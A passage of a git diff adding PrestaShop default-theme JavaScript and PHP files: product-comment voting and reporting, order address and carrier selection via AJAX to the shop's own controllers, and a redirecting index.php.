currencies[id_currency]["format"] == 3) + { + $('#spm_currency_sign_post_' + index).html(''); + $('#spm_currency_sign_pre_' + index).html(currencies[id_currency]["sign"] + ' '); + } +} + diff --git a/themes/default/js/modules/index.php b/themes/default/js/modules/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/js/modules/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/js/modules/productcomments/js/productcomments.js b/themes/default/js/modules/productcomments/js/productcomments.js new file mode 100755 index 0000000..35400a5 --- /dev/null +++ b/themes/default/js/modules/productcomments/js/productcomments.js @@ -0,0 +1,87 @@ +$(function() { + $('input[@type=radio].star').rating(); + $('.auto-submit-star').rating(); + + // $('.open-comment-form').fancybox({ + // 'hideOnContentClick': false + // }); + + $('button.usefulness_btn').click(function() { + var id_product_comment = $(this).data('id-product-comment'); + var is_usefull = $(this).data('is-usefull'); + var parent = $(this).parent(); + + $.ajax({ + url: productcomments_controller_url + '?rand=' + new Date().getTime(), + data: { + id_product_comment: id_product_comment, + action: 'comment_is_usefull', + value: is_usefull + }, + type: 'POST', + headers: { "cache-control": "no-cache" }, + success: function(result){ + parent.fadeOut('slow', function() { + parent.remove(); + }); + } + }); + }); + + $('span.report_btn').click(function() { + if (confirm(confirm_report_message)) + { + var idProductComment = $(this).data('id-product-comment'); + var parent = $(this).parent(); + + $.ajax({ + url: productcomments_controller_url + '?rand=' + new Date().getTime(), + data: { + id_product_comment: idProductComment, + action: 'report_abuse' + }, + type: 'POST', + headers: { "cache-control": "no-cache" }, + success: function(result){ + parent.fadeOut('slow', function() { + parent.remove(); + }); + } + }); + } + }); + + $('#submitNewMessage').click(function(e) { + // Kill default behaviour + e.preventDefault(); + + // Form element + + url_options = parseInt(productcomments_url_rewrite) ? '?' : '&'; + $.ajax({ + url: productcomments_controller_url + url_options + 'action=add_comment&secure_key=' + secure_key + '&rand=' + new Date().getTime(), + data: $('#new_comment_form form').serialize(), + type: 'POST', + headers: { "cache-control": "no-cache" }, + dataType: "json", + success: function(data){ + if (data.result) + { + $('#new_comment_form').hide(); + $('.success_form').show(); + // $.fancybox.close(); + // document.location.href = document.location.href; + } + else + { + $('#new_comment_form_error ul').html(''); + $.each(data.errors, function(index, value) { + $('#new_comment_form_error ul').append('
          • '+value+'
          • '); + }); + $('#new_comment_form_error').slideDown('slow'); + } + } + }); + return false; + }); +}); diff --git a/themes/default/js/order-address-mobile.js b/themes/default/js/order-address-mobile.js new file mode 100755 index 0000000..9d632a4 --- /dev/null +++ b/themes/default/js/order-address-mobile.js @@ -0,0 +1,416 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(document).ready(function() +{ + if (typeof(formatedAddressFieldsValuesList) !== 'undefined') + updateAddressesDisplay(true); + resizeAddressesBox(); + + $('.edit_delivery').click(function(){ + var newHref=$('#address_delivery li.address_update a').attr('href'); + document.location.href=newHref; + }); + $('.edit_invoice').click(function(){ + var newHref=$('#address_invoice li.address_update a').attr('href'); + document.location.href=newHref; + }); +}); + +//update the display of the addresses +function updateAddressesDisplay(first_view) +{ + // alert('test'); + // update content of delivery address + updateAddressDisplay('delivery'); + var txtInvoiceTitle = ""; + try{ + var adrs_titles = getAddressesTitles(); + txtInvoiceTitle = adrs_titles.invoice; + } + catch (e) + {} + // update content of invoice address + //if addresses have to be equals... + // alert($('input[type=radio]#addressesAreEquals1:checked').length ); + if ($('input[type=radio]#addressesAreEquals1:checked').length == 1) + { + $('ul#address_invoice').html($('ul#address_delivery').html()); + $('#deliveryItems').slideUp(); + + // $('ul#address_invoice li.address_title').html(txtInvoiceTitle); + } + else + { + $('#address_invoice_form:hidden').show('fast'); + if ($('#id_address_invoice').val()!=$('#id_address_delivery').val()) + updateAddressDisplay('invoice'); + else + { + $('ul#address_invoice').html($('ul#address_delivery').html()); + // $('ul#address_invoice li.address_title').html(txtInvoiceTitle); + } + $('#deliveryItems').slideDown(); + } + if(!first_view) + { + if (orderProcess === 'order') + updateAddresses(); + } + return true; +} + +function updateAddressDisplay(addressType) +{ + if (formatedAddressFieldsValuesList.length <= 0) + return false; + + var idAddress = parseInt($('#id_address_' + addressType + '').val()); + + if(addressType=="delivery") + updateAddressSelection(idAddress); + + buildAddressBlock(idAddress, addressType, $('#address_' + addressType)); + + + + // change update link + var link = $('ul#address_' + addressType + ' li.address_update a').attr('href'); + var expression = /id_address=\d+/; + if (link) + { + link = link.replace(expression, 'id_address=' + idAddress); + $('ul#address_' + addressType + ' li.address_update a').attr('href', link); + } + resizeAddressesBox(); +} + +function updateAddresses() +{ + var idAddress_delivery = parseInt($('#id_address_delivery').val()); + var idAddress_invoice = $('input[type=checkbox]#addressesAreEquals:checked').length === 1 ? idAddress_delivery : parseInt($('#id_address_invoice').val()); + + if(isNaN(idAddress_delivery) == false && isNaN(idAddress_invoice) == false) + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: { + processAddress: true, + step: 2, + ajax: 'true', + controller: 'order', + 'multi-shipping': $('#id_address_delivery:hidden').length, + id_address_delivery: idAddress_delivery, + id_address_invoice: idAddress_invoice, + token: static_token + }, + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + resizeAddressesBox(); +} + +function updateCarrierList(json) +{ + // var html = json.carrier_block_mobile_simple_2; + // alert(json); + // @todo check with theme 1.4 + //if ($('#HOOK_EXTRACARRIER').length == 0 && json.HOOK_EXTRACARRIER !== null && json.HOOK_EXTRACARRIER != undefined) + // html += json.HOOK_EXTRACARRIER; + + // $('#carrier_area').replaceWith(html); + // bindInputs(); + /* update hooks for carrier module */ + $('#HOOK_BEFORECARRIER').html(json.HOOK_BEFORECARRIER); + + + $('.delivery_option_radio delivery_option input,.delivery_option_radio delivery_option label').click(function(){ + $('.delivery_option').removeClass('selected'); + $(this).parent().addClass('selected'); + }); +} + +function updateAddressSelection(deliveryAddress) +{ + var idAddress_delivery = deliveryAddress; + var idAddress_invoice = ($('#id_address_invoice').length == 1 ? $('#id_address_invoice').val() : ($('#addressesAreEquals:checked').length == 1 ? idAddress_delivery : ($('#id_address_invoice').length == 1 ? $('#id_address_invoice').val() : deliveryAddress))); + + $('#carrier_area').fadeTo('fast',0.5); + // $('#opc_delivery_methods-overlay').fadeIn('slow'); + // $('#opc_payment_methods-overlay').fadeIn('slow'); + + // alert(orderOpcUrl + '?rand=' + new Date().getTime()+'&ajax=true&method=updateAddressesSelected&id_address_delivery=' + idAddress_delivery + '&id_address_invoice=' + idAddress_invoice + '&token=' + static_token); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateAddressesSelected&id_address_delivery=' + idAddress_delivery + '&id_address_invoice=' + idAddress_invoice + '&token=' + static_token, + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + // Update all product keys with the new address id + $('#cart_summary .address_'+deliveryAddress).each(function() { + $(this) + .removeClass('address_'+deliveryAddress) + .addClass('address_'+idAddress_delivery); + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('.cart_unit span').length > 0 && $(this).find('.cart_unit span').attr('id').length > 0) + $(this).find('.cart_unit span').attr('id', $(this).find('.cart_unit span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_total span').length > 0 && $(this).find('.cart_total span').attr('id').length > 0) + $(this).find('.cart_total span').attr('id', $(this).find('.cart_total span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_quantity_input').length > 0 && $(this).find('.cart_quantity_input').attr('name').length > 0) + { + var name = $(this).find('.cart_quantity_input').attr('name')+'_hidden'; + $(this).find('.cart_quantity_input').attr('name', $(this).find('.cart_quantity_input').attr('name').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('[name='+name+']').length > 0) + $(this).find('[name='+name+']').attr('name', name.replace(/_\d+_hidden$/, '_'+idAddress_delivery+'_hidden')); + } + + if ($(this).find('.cart_quantity_delete').length > 0 && $(this).find('.cart_quantity_delete').attr('id').length > 0) + { + $(this).find('.cart_quantity_delete') + .attr('id', $(this).find('.cart_quantity_delete').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_delete').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_down').length > 0 && $(this).find('.cart_quantity_down').attr('id').length > 0) + { + $(this).find('.cart_quantity_down') + .attr('id', $(this).find('.cart_quantity_down').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_down').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_up').length > 0 && $(this).find('.cart_quantity_up').attr('id').length > 0) + { + $(this).find('.cart_quantity_up') + .attr('id', $(this).find('.cart_quantity_up').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_up').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + }); + + // Update global var deliveryAddress + deliveryAddress = idAddress_delivery; + if (window.ajaxCart !== undefined) + { + $('#cart_block_list dd, #cart_block_list dt').each(function(){ + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + idAddress_delivery)); + }); + } + updateCarrierList(jsonData.carrier_data); + // updatePaymentMethods(jsonData); + // updateCartSummary(jsonData.summary); + // updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + // updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + // if ($('#gift-price').length == 1) + // $('#gift-price').html(jsonData.gift_price); + $('#carrier_area').fadeTo('fast',1); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + + +function updateCarrierSelectionAndGift() +{ + var recyclablePackage = 0; + var gift = 0; + var giftMessage = ''; + + var delivery_option_radio = $('.delivery_option_radio'); + var delivery_option_params = '&'; + $.each(delivery_option_radio, function(i) { + if ($(this).prop('checked')) + delivery_option_params += $(delivery_option_radio[i]).attr('name') + '=' + $(delivery_option_radio[i]).val() + '&'; + }); + if (delivery_option_params == '&') + delivery_option_params = '&delivery_option=&'; + + if ($('input#recyclable:checked').length) + recyclablePackage = 1; + if ($('input#gift:checked').length) + { + gift = 1; + giftMessage = encodeURIComponent($('#gift_message').val()); + } + + // $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + + // alert(orderOpcUrl + '?rand=' + new Date().getTime()); + // alert('ajax=true&method=updateCarrierAndGetPayments' + delivery_option_params + 'recyclable=' + recyclablePackage + '&gift=' + gift + '&gift_message=' + giftMessage + '&token=' + static_token); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateCarrierAndGetPayments' + delivery_option_params + 'recyclable=' + recyclablePackage + '&gift=' + gift + '&gift_message=' + giftMessage + '&token=' + static_token , + success: function(jsonData) + { + // if (jsonData!=null && jsonData.hasError) + // { + // var errors = ''; + // for(var error in jsonData.errors) + // if(error !== 'indexOf') + // errors += jsonData.errors[error] + "\n"; + // alert(errors); + // } + // else + // { + // updateCartSummary(jsonData.summary); + // updatePaymentMethods(jsonData); + // updateHookShoppingCart(jsonData.summary.HOOK_SHOPPING_CART); + // updateHookShoppingCartExtra(jsonData.summary.HOOK_SHOPPING_CART_EXTRA); + updateCarrierList(jsonData.carrier_data); + // $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + // refreshDeliveryOptions(); + // } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + // if (textStatus !== 'abort') + // alert("TECHNICAL ERROR: unable to save carrier \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + // $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} +function bindCheckbox() +{ + if ($('#invoice_address:checked').length > 0) + { + $('#opc_invoice_address').slideDown('slow'); + if ($('#company_invoice').val() == '') + $('#vat_number_block_invoice').hide(); + updateState('invoice'); + updateNeedIDNumber('invoice'); + updateZipCode('invoice'); + } + else + $('#opc_invoice_address').slideUp('slow'); +} + +function bindInputs() +{ + // Order message update + $('#message').blur(function() { + $('#opc_delivery_methods-overlay').fadeIn('slow'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateMessage&message=' + encodeURIComponent($('#message').val()) + '&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + $('#opc_delivery_methods-overlay').fadeOut('slow'); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save message \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay').fadeOut('slow'); + } + }); + }); + + // Recyclable checkbox + $('#recyclable').click(function() { + updateCarrierSelectionAndGift(); + }); + + // Gift checkbox update + $('#gift').click(function() { + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + updateCarrierSelectionAndGift(); + }); + + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + + // Gift message update + $('#gift_message').change(function() { + updateCarrierSelectionAndGift(); + }); + + // Term Of Service (TOS) + $('#cgv').click(function() { + updatePaymentMethodsDisplay(); + }); +} diff --git a/themes/default/js/order-address.js b/themes/default/js/order-address.js new file mode 100755 index 0000000..0b195d5 --- /dev/null +++ b/themes/default/js/order-address.js @@ -0,0 +1,456 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function checkPR(){ + var returnOK=true; + $('.delivery_options .delivery_option_radio:checked').each(function(){ + if($(this).next().find('.delivery_option_title').html()=="Mondial Relay"){ + returnOK=false; + if($('.PS_MRSelectedCarrier input:checked').length==1){ + returnOK=true; + } + } + }); + if(returnOK==false) + alert('Vous devrez sélectionner 1 point relais pour poursuivre'); + return returnOK; +} + var refreshAddress=0; +$(document).ready(function() +{ + if (typeof(formatedAddressFieldsValuesList) !== 'undefined') + updateAddressesDisplay(true); + resizeAddressesBox(); + + $('.edit_delivery').click(function(){ + if($('.mondialRelay:visible').length==0){ + var newHref=$('#address_delivery li.address_update a').attr('href'); + document.location.href=newHref; + } + }); + $('.edit_invoice').click(function(){ + var newHref=$('#address_invoice li.address_update a').attr('href'); + document.location.href=newHref; + }); + $('.delivery_option_radio .delivery_option input,.delivery_option_radio .delivery_option label').click(function(){ + $('.delivery_option').removeClass('selected'); + $(this).parent().addClass('selected'); + }); +}); + +//update the display of the addresses +function updateAddressesDisplay(first_view) +{ + // alert(first_view); + // alert('test'); + // update content of delivery address + // updateAddressDisplay('delivery'); + var txtInvoiceTitle = ""; + try{ + var adrs_titles = getAddressesTitles(); + txtInvoiceTitle = adrs_titles.invoice; + } + catch (e) + {} + // update content of invoice address + //if addresses have to be equals... + // alert($('input[type=radio]#addressesAreEquals1:checked').length ); + if ($('input[type=radio]#addressesAreEquals1:checked').length == 1) + { + $('ul#address_invoice').html($('ul#address_delivery').html()); + $('#deliveryItems').slideUp(); + + // $('ul#address_invoice li.address_title').html(txtInvoiceTitle); + } + else + { + $('#address_invoice_form:hidden').show('fast'); + if ($('#id_address_invoice').val()!=$('#id_address_delivery').val()) + updateAddressDisplay('invoice'); + else + { + $('ul#address_invoice').html($('ul#address_delivery').html()); + // $('ul#address_invoice li.address_title').html(txtInvoiceTitle); + } + $('#deliveryItems').slideDown(); + } + // if(!first_view) + // { + // if (orderProcess === 'order') + updateAddresses(); + // } + return true; +} + +function updateAddressDisplay(addressType) +{ + if (formatedAddressFieldsValuesList.length <= 0) + return false; + + var idAddress = parseInt($('#id_address_' + addressType + '').val()); + // alert(idAddress); + if(addressType=="delivery") + updateAddressSelection(idAddress); + + buildAddressBlock(idAddress, addressType, $('#address_' + addressType)); + + + + // change update link + var link = $('ul#address_' + addressType + ' li.address_update a').attr('href'); + var expression = /id_address=\d+/; + if (link) + { + link = link.replace(expression, 'id_address=' + idAddress); + $('ul#address_' + addressType + ' li.address_update a').attr('href', link); + } + resizeAddressesBox(); +} + +function updateAddresses() +{ + var idAddress_delivery = parseInt($('#id_address_delivery').val()); + var idAddress_invoice = $('input[type=checkbox]#addressesAreEquals:checked').length === 1 ? idAddress_delivery : parseInt($('#id_address_invoice').val()); + + if(isNaN(idAddress_delivery) == false && isNaN(idAddress_invoice) == false) + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: { + processAddress: true, + step: 2, + ajax: 'true', + controller: 'order', + 'multi-shipping': $('#id_address_delivery:hidden').length, + id_address_delivery: idAddress_delivery, + id_address_invoice: idAddress_invoice, + token: static_token + }, + success: function(jsonData) + { + if(jsonData){ + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + // IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + } + updateAddressDisplay('delivery'); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + console.log("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + resizeAddressesBox(); +} + +function updateCarrierList(json) +{ + var html = json.carrier_block; + + // @todo check with theme 1.4 + //if ($('#HOOK_EXTRACARRIER').length == 0 && json.HOOK_EXTRACARRIER !== null && json.HOOK_EXTRACARRIER != undefined) + // html += json.HOOK_EXTRACARRIER; + // alert(html); + if(refreshAddress==1){ + $('#carrier_area').replaceWith(html); + $('#carrier_area').fadeTo('fast',1); + } + + bindInputs(); + /* update hooks for carrier module */ + $('#HOOK_BEFORECARRIER').html(json.HOOK_BEFORECARRIER); +} + +function updateAddressSelection(deliveryAddress) +{ + var idAddress_delivery = $('#id_address_delivery').val(); + var idAddress_invoice = ($('#id_address_invoice').length == 1 ? $('#id_address_invoice').val() : ($('#addressesAreEquals:checked').length == 1 ? idAddress_delivery : ($('#id_address_invoice').length == 1 ? $('#id_address_invoice').val() : deliveryAddress))); + // alert(refreshAddress); + $('#carrier_area').fadeTo('fast',0.5); + if(refreshAddress==0){ + }else{ + } + // alert(idAddress_delivery); + // $('#opc_delivery_methods-overlay').fadeIn('slow'); + // $('#opc_payment_methods-overlay').fadeIn('slow'); + + // alert(orderOpcUrl + '?rand=' + new Date().getTime()+'&ajax=true&method=updateAddressesSelected&id_address_delivery=' + idAddress_delivery + '&id_address_invoice=' + idAddress_invoice + '&token=' + static_token); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateAddressesSelected&id_address_delivery=' + idAddress_delivery + '&id_address_invoice=' + idAddress_invoice + '&token=' + static_token, + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + // Update all product keys with the new address id + $('#cart_summary .address_'+deliveryAddress).each(function() { + $(this) + .removeClass('address_'+deliveryAddress) + .addClass('address_'+idAddress_delivery); + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('.cart_unit span').length > 0 && $(this).find('.cart_unit span').attr('id').length > 0) + $(this).find('.cart_unit span').attr('id', $(this).find('.cart_unit span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_total span').length > 0 && $(this).find('.cart_total span').attr('id').length > 0) + $(this).find('.cart_total span').attr('id', $(this).find('.cart_total span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_quantity_input').length > 0 && $(this).find('.cart_quantity_input').attr('name').length > 0) + { + var name = $(this).find('.cart_quantity_input').attr('name')+'_hidden'; + $(this).find('.cart_quantity_input').attr('name', $(this).find('.cart_quantity_input').attr('name').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('[name='+name+']').length > 0) + $(this).find('[name='+name+']').attr('name', name.replace(/_\d+_hidden$/, '_'+idAddress_delivery+'_hidden')); + } + + if ($(this).find('.cart_quantity_delete').length > 0 && $(this).find('.cart_quantity_delete').attr('id').length > 0) + { + $(this).find('.cart_quantity_delete') + .attr('id', $(this).find('.cart_quantity_delete').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_delete').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_down').length > 0 && $(this).find('.cart_quantity_down').attr('id').length > 0) + { + $(this).find('.cart_quantity_down') + .attr('id', $(this).find('.cart_quantity_down').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_down').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_up').length > 0 && $(this).find('.cart_quantity_up').attr('id').length > 0) + { + $(this).find('.cart_quantity_up') + .attr('id', $(this).find('.cart_quantity_up').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_up').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + }); + + // Update global var deliveryAddress + deliveryAddress = idAddress_delivery; + if (window.ajaxCart !== undefined) + { + $('#cart_block_list dd, #cart_block_list dt').each(function(){ + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + idAddress_delivery)); + }); + } + + + // updatePaymentMethods(jsonData); + // updateCartSummary(jsonData.summary); + // updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + // updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + // if ($('#gift-price').length == 1) + // $('#gift-price').html(jsonData.gift_price); + if(refreshAddress==0){ + refreshAddress=1; + updateAddresses(); + }else{ + refreshAddress=0; + updateCarrierList(jsonData.carrier_data); + } + $('#carrier_area').fadeTo('fast',1); + + // alert($('#id_address_' + addressType + '').val()); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + console.log("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + + +function updateCarrierSelectionAndGift() +{ + var recyclablePackage = 0; + var gift = 0; + var giftMessage = ''; + + var delivery_option_radio = $('.delivery_option_radio'); + var delivery_option_params = '&'; + $.each(delivery_option_radio, function(i) { + if ($(this).prop('checked')) + delivery_option_params += $(delivery_option_radio[i]).attr('name') + '=' + $(delivery_option_radio[i]).val() + '&'; + }); + if (delivery_option_params == '&') + delivery_option_params = '&delivery_option=&'; + + if ($('input#recyclable:checked').length) + recyclablePackage = 1; + if ($('input#gift:checked').length) + { + gift = 1; + giftMessage = encodeURIComponent($('#gift_message').val()); + } + + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + + // alert(orderOpcUrl + '?rand=' + new Date().getTime()); + // alert('ajax=true&method=updateCarrierAndGetPayments' + delivery_option_params + 'recyclable=' + recyclablePackage + '&gift=' + gift + '&gift_message=' + giftMessage + '&token=' + static_token); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateCarrierAndGetPayments' + delivery_option_params + 'recyclable=' + recyclablePackage + '&gift=' + gift + '&gift_message=' + giftMessage + '&token=' + static_token , + success: function(jsonData) + { + // if (jsonData!=null && jsonData.hasError) + // { + // var errors = ''; + // for(var error in jsonData.errors) + // if(error !== 'indexOf') + // errors += jsonData.errors[error] + "\n"; + // alert(errors); + // } + // else + // { + // updateCartSummary(jsonData.summary); + // updatePaymentMethods(jsonData); + // updateHookShoppingCart(jsonData.summary.HOOK_SHOPPING_CART); + // updateHookShoppingCartExtra(jsonData.summary.HOOK_SHOPPING_CART_EXTRA); + updateCarrierList(jsonData.carrier_data); + // $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + // refreshDeliveryOptions(); + // } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + console.log("TECHNICAL ERROR: unable to save carrier \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + + + +function bindCheckbox() +{ + if ($('#invoice_address:checked').length > 0) + { + $('#opc_invoice_address').slideDown('slow'); + if ($('#company_invoice').val() == '') + $('#vat_number_block_invoice').hide(); + updateState('invoice'); + updateNeedIDNumber('invoice'); + updateZipCode('invoice'); + } + else + $('#opc_invoice_address').slideUp('slow'); +} + +function bindInputs() +{ + // Order message update + $('#message').blur(function() { + $('#opc_delivery_methods-overlay').fadeIn('slow'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateMessage&message=' + encodeURIComponent($('#message').val()) + '&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + $('#opc_delivery_methods-overlay').fadeOut('slow'); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + console.log("TECHNICAL ERROR: unable to save message \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay').fadeOut('slow'); + } + }); + }); + + // Recyclable checkbox + $('#recyclable').click(function() { + updateCarrierSelectionAndGift(); + }); + + // Gift checkbox update + $('#gift').click(function() { + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + updateCarrierSelectionAndGift(); + }); + + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + + // Gift message update + $('#gift_message').change(function() { + 